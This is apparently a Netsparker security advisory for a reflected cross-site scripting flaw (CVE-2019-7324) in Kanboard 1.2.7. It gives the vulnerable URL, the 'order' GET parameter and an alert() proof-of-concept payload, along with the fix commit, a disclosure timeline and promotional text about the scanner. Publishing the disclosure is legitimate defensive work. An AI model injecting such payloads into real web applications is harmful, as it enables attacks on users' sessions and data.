Kanboard 1.2.7 Cross Site Scripting

Kanboard version 1.2.7 suffers from a cross site scripting vulnerability.

MD5 | 3d383484c926790e6537a6811c9bfcd5

Reflected Cross-site Scripting Vulnerability in Kanboard 1.2.7


Advisory by Netsparker
Name: Reflected Cross-site Scripting in Kanboard
Affected Software: Kanboard
Affected Versions: 1.2.7
Homepage: https://kanboard.org/
Vulnerability: Reflected Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID: CVE-2019-7324
CVSS Score (3.0): VA:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-19-001

Technical Details

URL: http://localhost/kanboard-1.2.7/?controller=DashboardController&action=show&pagination=projects&user_id=1&page=1&order=%22%3E%3Cimg%20src=x%20onerror=alert(0)%3E
Parameter Name: order
Parameter Type: GET
Attack Patern: "><img src=x onerror=alert(0)>

Auth: required

Github: https://github.com/kanboard/kanboard/commit/83deec2e3621c40d15a06e2491f27571d32fe10f

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

30th January 2019 - First Contact
31st January 2019 - Vendor Fixed
27th May 2019 - Advisory Released

Credits & Authors

These issues have been discovered by Mithat Gogebakan while testing the Netsparker Web Application Security Scanner.

About Netsparker

Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.

Related Posts